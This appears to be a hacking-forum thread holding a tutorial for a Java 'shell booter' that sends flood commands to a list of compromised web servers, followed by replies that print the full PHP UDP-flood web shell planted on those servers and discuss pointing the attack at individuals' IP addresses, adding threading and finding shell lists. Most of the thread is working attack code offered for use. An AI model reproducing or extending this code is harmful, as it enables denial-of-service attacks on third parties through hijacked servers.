Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Java 

[Tut]How to make a shell booter in java[Tut]

First we need to make a new project in eclipse and name it booter.
put the line of code for the main method
Code
public static void main(String args[]) {
now we need to make a new scanner
Code
Scanner scanner = new Scanner(System.in);
and declare the variables for the input
Code
String host;
int time;
next we need to ask for the input for the IP to boot and the amount of time
Code
System.out.println("enter the ip (has to be number ip) to take on");
        host = scanner.next();
        System.out.println("enter the boot time (most shells dont accept more than 30)");
        time = scanner.nextInt();
now we need to declare a new httpurlconnection for the http socket
Code
HttpURLConnection connection = null;
and write the code to read from our shells.txt file
Code
BufferedReader in = new BufferedReader(new FileReader("shells.txt"));
now we need to declare a new string for the url of the shell
Code
String str;
now we need to declare a new url and use the host and time variables so the shells know what to boot.
Code
URL url = new URL(str + "?act=phptools&host=" + host + "&time=" + time);
and initialize the connection we defined earlier
Code
connection = (HttpURLConnection)   url.openConnection();
and now we need to actually connect to the shell's
Code
connection.connect();
now set the connect timeout.
Code
connection.setConnectTimeout(6000);
and print something to show that its connected
Code
float response = connection.getResponseCode();

            System.out.println("request sent to shell with a responsecode of: " + response);
now for the catch's and stuff
Code
}} catch (MalformedURLException e1) {
          e1.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

}}

so the whole code should look like this
Code
package me.tommycake50.booter;

import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Scanner;

public class Booter {
    public static void main(String args[]) {
        Scanner scanner = new Scanner(System.in);
        String host;
        int time;
        System.out.println("enter the ip (has to be number ip) to take on");
        host = scanner.next();
        System.out.println("enter the boot time (most shells dont accept more than 30)");
        time = scanner.nextInt();

        //make a new httpurlconnection
        HttpURLConnection connection = null;
        try {
            //get data from the file shells.txt
            BufferedReader in = new BufferedReader(new FileReader("shells.txt"));
            String str;
            // reads shells.txt and does something for every line
            while ((str = in.readLine()) != null) {
                //makes a new URL called url
                URL url = new URL(str + "?act=phptools&host=" + host + "&time=" + time);
                //uses httpurlconnection for url
                 connection = (HttpURLConnection)   url.openConnection();
                 //connects to the url
                 connection.connect();
  //sets the timeout
  connection.setConnectTimeout(6000);
                 //gets the response code
                 float response = connection.getResponseCode();
                 //prints request sent to shell and the response code if resnse code is 200 then the connection has succeeded
            System.out.println("request sent to shell with a responsecode of: " + response);
            }} catch (MalformedURLException e1) {
          e1.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

}}

and now you have successfully made your own java shell booter.

i will provide a link to a list of shells you will need to place in the same file as the jar when you run it.

link to shell list: http://www.mediafire.com/view/?39bgpn35qyay3w2

happy coding 🤝.

note: shells may take a while to respond so if you don't see a message for 10 seconds this is normal.

and a response code of 200.0 means success!
(Aug 25, 2012 08:13 AM)redpois0n Wrote:  I did something long ago when I was a n00b.

Almost EXACTLY like this.

But not sure if shells worked then. Yours do?

You have tested with working shells and they responded and started working?

im pretty sure it connects to the shells not sure if it works seeing as i'd need a bigger list to slow down a server.

EDIT:
made it so it displays the response code after it connects so it works i think.
(Aug 25, 2012 08:58 AM)DarkShadowz Wrote:  It depends on what shell is implanted on the server, as they can have different GET parameters. A couple of shell identifications would be nice :).

i guess I'm sounding like a n00b but what are shell identifications?
(Aug 25, 2012 09:10 AM)redpois0n Wrote:  You check if the shell has the parameters like &ip=315135 or maybe &dick=31135

so it works with other shell types

anther n00b question how do i check for params?
(Aug 25, 2012 09:18 AM)tommycake50 Wrote:  anther n00b question how do i check for params?

wow just wow , how did you even made it ? if you dont know the simple stuff.
(Aug 25, 2012 09:35 AM)SellingSteam Wrote:  wow just wow , how did you even made it ? if you dont know the simple stuff.

its a simple thing to make just get the user input and open a httpsocket.
Im mostly in here for the coding.

What exactly does the "shell.txt" contain and what does it mean?

inb4 "noob, google blabla"
(Aug 25, 2012 09:39 AM)someone_ Wrote:  Im mostly in here for the coding.

What exactly does the "shell.txt" contain and what does it mean?

inb4 "noob, google blabla"

the shells.txt contains a list of urls these urls are "shells" each shell is a DoS script and is invoked by the ?act=phptools&host=iphere&time=timehere parameters they then send a number of packets from the web server they are hosted on to the specified ip for the specified amount of time.
(Aug 25, 2012 09:43 AM)Grand Pootis Wrote:  To make it even more instantaneous, I would recommend asynchronous threading.

At least if you were to make one to sell commercially.

when i get better at java i'll make one like that and give it out for free with the source.
(Aug 25, 2012 09:43 AM)tommycake50 Wrote:  the shells.txt contains a list of urls these urls are "shells" each shell is a DoS script and is invoked by the ?act=phptools&host=iphere&time=timehere parameters they then send a number of packets from the web server they are hosted on to the specified ip for the specified amount of time.

Thanks.. So these shells are giving the url i want to boot and the amount of time that i would like to boot them?

So the urls is actually what is causing the harm, not the java code.
also, would i be able to input someones IP instead of a url, and then the shells would try to boot the persons IP?
(Aug 25, 2012 09:47 AM)Not Elite Wrote:  With this it's pretty easy to do.

Just look up how to implement runnable or how to extend thread


Yes.

The shells.txt is the list of exploited servers.

You do put in an IP. The program moves through the list.

Also, OP, you will want to set a connection timeout, bevause really slow servers will make the attack ineffective

yeah OK ill set it to 6000 milliseconds.
So this DoS script get planted on the servers when they are compromised? How does one of those DoS script look like?
(Aug 25, 2012 10:16 AM)someone_ Wrote:  So this DoS script get planted on the servers when they are compromised? How does one of those DoS script look like?

a typical shell would look like this
Code
<html>
<body>
<center>
<font color="00FF00">
<pre>
__ _    _ _
/ ____| |  | | |
(___ | |__   ___| | |
\___ \| '_ \ / _ \ | |
__ _) | | | |  __/ | |
__/|_| |_|\___|_|_|
</pre>
<STYLE>
input{
background-color: #00FF00; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
}
button{
background-color: #00FF00; font-size: 8pt; color: #00; font-family: Tahoma; border: 1 solid #66;
}
body {
background-color: #00;
}
</style>
<?php
//UDP
if(isset($_GET['host'])&&isset($_GET['time'])){
    $packets = 0;
    ignore_user_abort(TRUE);
    set_time_limit(0);

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."<br>";
    $max_time = $time+$exec_time;

    $host = $_GET['host'];

    for($i=0;$i<65000;$i++){
    $out .= 'X';
    }
    while(1){
    $packets++;
    if(time() > $max_time){
  break;
    }
    $rand = rand(1,65000);
    $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
    if($fp){
  fwrite($fp, $out);
  fclose($fp);
    }
    }
    echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
    echo '<br><br>
  <form action="'.$surl.'" method=GET>
  <input type="hidden" name="act" value="phptools">
  Host: <br><input type=text name=host><br>
  Length (seconds): <br><input type=text name=time><br>
  <input type=submit value=Go></form>';
}else{ echo '<br><b>UDP Flood</b><br>
    <form action=? method=GET>
    <input type="hidden" name="act" value="phptools">
    Host: <br><input type=text name=host value=><br>
    Length (seconds): <br><input type=text name=time value=><br><br>
    <input type=submit value=Go></form>';
}
?>
</center>
</body>
</html>
(Aug 25, 2012 07:52 AM)tommycake50 Wrote:  First we need to make a new project in eclipse and name it booter.
put the line of code for the main method
Code
public static void main(String args[]) {
now we need to make a new scanner
Code
Scanner scanner = new Scanner(System.in);
and declare the variables for the input
Code
String host;
int time;
next we need to ask for the input for the IP to boot and the amount of time
Code
System.out.println("enter the ip (has to be number ip) to take on");
        host = scanner.next();
        System.out.println("enter the boot time (most shells dont accept more than 30)");
        time = scanner.nextInt();
now we need to declare a new httpurlconnection for the http socket
Code
HttpURLConnection connection = null;
and write the code to read from our shells.txt file
Code
BufferedReader in = new BufferedReader(new FileReader("shells.txt"));
now we need to declare a new string for the url of the shell
Code
String str;
now we need to declare a new url and use the host and time variables so the shells know what to boot.
Code
URL url = new URL(str + "?act=phptools&host=" + host + "&time=" + time);
and initialize the connection we defined earlier
Code
connection = (HttpURLConnection)   url.openConnection();
and now we need to actually connect to the shell's
Code
connection.connect();
now set the connect timeout.
Code
connection.setConnectTimeout(6000);
and print something to show that its connected
Code
float response = connection.getResponseCode();

            System.out.println("request sent to shell with a responsecode of: " + response);
now for the catch's and stuff
Code
}} catch (MalformedURLException e1) {
          e1.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

}}

so the whole code should look like this
Code
package me.tommycake50.booter;

import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Scanner;

public class Booter {
    public static void main(String args[]) {
        Scanner scanner = new Scanner(System.in);
        String host;
        int time;
        System.out.println("enter the ip (has to be number ip) to take on");
        host = scanner.next();
        System.out.println("enter the boot time (most shells dont accept more than 30)");
        time = scanner.nextInt();

        //make a new httpurlconnection
        HttpURLConnection connection = null;
        try {
            //get data from the file shells.txt
            BufferedReader in = new BufferedReader(new FileReader("shells.txt"));
            String str;
            // reads shells.txt and does something for every line
            while ((str = in.readLine()) != null) {
                //makes a new URL called url
                URL url = new URL(str + "?act=phptools&host=" + host + "&time=" + time);
                //uses httpurlconnection for url
                 connection = (HttpURLConnection)   url.openConnection();
                 //connects to the url
                 connection.connect();
  //sets the timeout
  connection.setConnectTimeout(6000);
                 //gets the response code
                 float response = connection.getResponseCode();
                 //prints request sent to shell and the response code if resnse code is 200 then the connection has succeeded
            System.out.println("request sent to shell with a responsecode of: " + response);
            }} catch (MalformedURLException e1) {
          e1.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }

}}

and now you have successfully made your own java shell booter.

i will provide a link to a list of shells you will need to place in the same file as the jar when you run it.

link to shell list: http://www.mediafire.com/view/?39bgpn35qyay3w2

happy coding 🤝.

note: shells may take a while to respond so if you don't see a message for 10 seconds this is normal.

and a response code of 200.0 means success!

The shells aren't available anymore 😖

I'm new XD. First, how do I use and where do I get shells? (The old link won't work -.-).

How do I set it up to work properly? Also how do I turn into a working .jar?
Wait, so there's absolutely no security? What shit.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by jkrules420May 31, 2016 05:13 PM 16 5,515 May 31, 2016 05:13 PM
Last Post: Kiazio
[Java] by nullifiedvoidJun 29, 2015 03:08 PM 46 1,921 Jun 29, 2015 03:08 PM
Last Post: JIM NASIUM'S GYMNASIUM
[Java] by terkitosJun 24, 2014 09:54 AM 14 889 Jun 24, 2014 09:54 AM
Last Post: Remix